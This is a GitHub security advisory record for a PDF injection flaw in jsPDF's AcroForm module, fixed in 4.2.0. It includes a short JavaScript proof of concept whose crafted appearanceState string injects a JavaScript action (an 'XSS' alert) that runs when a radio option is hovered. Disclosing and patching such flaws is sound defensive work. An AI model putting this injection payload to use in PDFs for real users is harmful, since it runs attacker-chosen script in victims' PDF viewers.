{
  "id": "GHSA-p5xg-68wr-hm3m",
  "source": "ghsa",
  "source_url": "https://github.com/advisories/GHSA-p5xg-68wr-hm3m",
  "summary": "jsPDF has a PDF Injection in AcroForm module allows Arbitrary JavaScript Execution (RadioButton.createOption and \"AS\" property)",
  "description": "### Impact\n\nUser control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions.\n\nIf given the possibility to pass unsanitized input to one of the following property, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim hovers over the radio option.\n\n* `AcroformChildClass.appearanceState`\n\nExample attack vector:\n\n```js\nimport { jsPDF } from \"jspdf\"\nconst doc = new jsPDF();\n\nconst group = new doc.AcroFormRadioButton();\ngroup.x = 10; group.y = 10; group.width = 20; group.height = 10;\ndoc.addField(group);\n\nconst child = group.createOption(\"opt1\");\nchild.x = 10; child.y = 10; child.width = 20; child.height = 10;\nchild.appearanceState = \"Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>\";\n\ndoc.save(\"test.pdf\");\n```\n\n### Patches\n\nThe vulnerability has been fixed in jsPDF@4.2.0.\n\n### Workarounds\nSanitize user input before passing it to the vulnerable API members.",
  "product": "jspdf",
  "severity": "high",
  "cvss": {
    "score": 8.1,
    "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
    "version": "3.1"
  },
  "cwes": [
    "CWE-116"
  ],
  "affected": [
    {
      "ecosystem": "npm",
      "name": "jspdf",
      "vulnerable_range": "< 4.2.0",
      "patched_version": "4.2.0"
    }
  ],
  "references": [
    {
      "url": "https://github.com/parallax/jsPDF/security/advisories/GHSA-p5xg-68wr-hm3m",
      "ref_type": "advisory",
      "title": null
    },
    {
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25940",
      "ref_type": "other",
      "title": null
    },
    {
      "url": "https://github.com/parallax/jsPDF/commit/71ad2dbfa6c7c189ab42b855b782620fa8a38375",
      "ref_type": "commit",
      "title": null
    },
    {
      "url": "https://github.com/parallax/jsPDF/releases/tag/v4.2.0",
      "ref_type": "release",
      "title": null
    },
    {
      "url": "https://github.com/advisories/GHSA-p5xg-68wr-hm3m",
      "ref_type": "advisory",
      "title": null
    }
  ],
  "aliases": [
    "CVE-2026-25940"
  ],
  "published_at": "2026-02-19T19:32:48Z",
  "ingested_at": "2026-02-19T20:48:14.502042843Z",
  "raw_source": {
    "credits": [
      {
        "type": "reporter",
        "user": {
          "avatar_url": "https://avatars.githubusercontent.com/u/172206083?v=4",
          "events_url": "https://api.github.com/users/Macabely/events{/privacy}",
          "followers_url": "https://api.github.com/users/Macabely/followers",
          "following_url": "https://api.github.com/users/Macabely/following{/other_user}",
          "gists_url": "https://api.github.com/users/Macabely/gists{/gist_id}",
          "gravatar_id": "",
          "html_url": "https://github.com/Macabely",
          "id": 172206083,
          "login": "Macabely",
          "node_id": "U_kgDOCkOoAw",
          "organizations_url": "https://api.github.com/users/Macabely/orgs",
          "received_events_url": "https://api.github.com/users/Macabely/received_events",
          "repos_url": "https://api.github.com/users/Macabely/repos",
          "site_admin": false,
          "starred_url": "https://api.github.com/users/Macabely/starred{/owner}{/repo}",
          "subscriptions_url": "https://api.github.com/users/Macabely/subscriptions",
          "type": "User",
          "url": "https://api.github.com/users/Macabely",
          "user_view_type": "public"
        }
      }
    ],
    "cve_id": "CVE-2026-25940",
    "cvss": {
      "score": 8.1,
      "vector_string": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"
    },
    "cvss_severities": {
      "cvss_v3": {
        "score": 8.1,
        "vector_string": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"
      },
      "cvss_v4": {
        "score": 0.0,
        "vector_string": null
      }
    },
    "cwes": [
      {
        "cwe_id": "CWE-116",
        "name": "Improper Encoding or Escaping of Output"
      }
    ],
    "description": "### Impact\n\nUser control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions.\n\nIf given the possibility to pass unsanitized input to one of the following property, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim hovers over the radio option.\n\n* `AcroformChildClass.appearanceState`\n\nExample attack vector:\n\n```js\nimport { jsPDF } from \"jspdf\"\nconst doc = new jsPDF();\n\nconst group = new doc.AcroFormRadioButton();\ngroup.x = 10; group.y = 10; group.width = 20; group.height = 10;\ndoc.addField(group);\n\nconst child = group.createOption(\"opt1\");\nchild.x = 10; child.y = 10; child.width = 20; child.height = 10;\nchild.appearanceState = \"Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>\";\n\ndoc.save(\"test.pdf\");\n```\n\n### Patches\n\nThe vulnerability has been fixed in jsPDF@4.2.0.\n\n### Workarounds\nSanitize user input before passing it to the vulnerable API members.",
    "ghsa_id": "GHSA-p5xg-68wr-hm3m",
    "github_reviewed_at": "2026-02-19T19:32:48Z",
    "html_url": "https://github.com/advisories/GHSA-p5xg-68wr-hm3m",
    "identifiers": [
      {
        "type": "GHSA",
        "value": "GHSA-p5xg-68wr-hm3m"
      },
      {
        "type": "CVE",
        "value": "CVE-2026-25940"
      }
    ],
    "nvd_published_at": "2026-02-19T16:27:15Z",
    "published_at": "2026-02-19T19:32:48Z",
    "references": [
      "https://github.com/parallax/jsPDF/security/advisories/GHSA-p5xg-68wr-hm3m",
      "https://nvd.nist.gov/vuln/detail/CVE-2026-25940",
      "https://github.com/parallax/jsPDF/commit/71ad2dbfa6c7c189ab42b855b782620fa8a38375",
      "https://github.com/parallax/jsPDF/releases/tag/v4.2.0",
      "https://github.com/advisories/GHSA-p5xg-68wr-hm3m"
    ],
    "repository_advisory_url": "https://api.github.com/repos/parallax/jsPDF/security-advisories/GHSA-p5xg-68wr-hm3m",
    "severity": "high",
    "source_code_location": "https://github.com/parallax/jsPDF",
    "summary": "jsPDF has a PDF Injection in AcroForm module allows Arbitrary JavaScript Execution (RadioButton.createOption and \"AS\" property)",
    "type": "reviewed",
    "updated_at": "2026-02-19T19:32:48Z",
    "url": "https://api.github.com/advisories/GHSA-p5xg-68wr-hm3m",
    "vulnerabilities": [
      {
        "first_patched_version": "4.2.0",
        "package": {
          "ecosystem": "npm",
          "name": "jspdf"
        },
        "vulnerable_functions": [],
        "vulnerable_version_range": "< 4.2.0"
      }
    ],
    "withdrawn_at": null
  }
}